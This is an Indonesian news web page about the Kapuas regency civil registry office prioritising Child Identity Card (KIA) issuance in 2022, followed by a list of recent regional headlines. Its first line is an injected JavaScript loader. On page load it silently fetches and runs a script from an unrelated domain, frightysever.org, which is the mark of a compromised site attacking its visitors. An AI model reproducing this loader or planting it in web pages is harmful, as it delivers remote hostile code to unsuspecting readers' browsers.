(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kabupaten Kapuas

Fokus Cetak Kartu Identitas Anak, Ini Penjelasan Plt DisdukcapilÂ


KANALKALIMANTAN.COM, KUALA KAPUAS – Dinas Kependudukan dan Pencatatan Sipil (Disdukcapil) Kabupaten Kapuas melakukan inovasi dalam pelayanan administrasi kependudukan kepada masyarakat.

Pelaksana Tugas (Plt) Kepala Disdukcapil Kabulaten Kapuas, Sipie S Bungai SSos MA mengatakan, dalam tahun 2022 pihaknya fokuskan pelayanan terhadap Kartu Identitas Anak (KIA), meskipun program lain tetap berjalan. Karena hasil evaluasi untuk KIA baru capai 50 persen, sedangkan program yang lain sudah sangat baik dengan capaian 95-98 persen.

“Sesuai Peraturan Menteri Dalam Negeri (Permendagri) Nomor 2 tahun 2016, tentang Kartu Identitas Anak, dan itu sangat penting,” ungkap Sipie S Bungai, Kamis (6/1/2021).

Ia mengakui, pentingnya Kartu Identitas Anak (KIA) adalah upaya pemerintah untuk memenuhi kewajiban dalam memberikan identitas kependudukan, kepada seluruh penduduk Warga Negara Indonesia (WNI). Sehingga diharapkan tahun 2022 ini akan tercapai target di atas 90 persen.

 

 

Baca juga: Mengolah Sampah Organik Ala Komunitas Eco Enzym Nusantara

Ditanya kendala, lanjutnya, KIA terbentur umur 0-5 tahun tidak menggunakan foto, dan 5-17 tahun menggunakan foto, makanya tabun 2022 akan turun ke sekolah dengan pengambilan foto langsung.

“Kita juga koordinasi dengan Dinas Pendidikan Kabupaten Kapuas, terutama Korwil Pendidikan di kecamatan, dimana dengan sampaikan tim Disdukcapil Kapuas akan turun sesuai jadwal,” tegasnya.

Ia menambahkan program KIA ini bukan hanya di Kabupaten Kapuas, tapi dilaksanakan untuk semua daerah di Indonesia, dan tentu harus didukung untuk keberhasilan dalam administrasi anak.

“Syarat-syarat mudah untuk mendapatkan KIA, seperti melampirkan kartu keluarga dan foto, dengan catatan bahwa orangtuanya, pernikahannya tercatat dan anak sudah memiliki akta kelahiran,” pungkasnya. (kanalkalimantan.com/ags)

Reporter : ags
Editor : kk


Risa

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

5 bulan ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

5 bulan ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

5 bulan ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

5 bulan ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

5 bulan ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

5 bulan ago

This website uses cookies.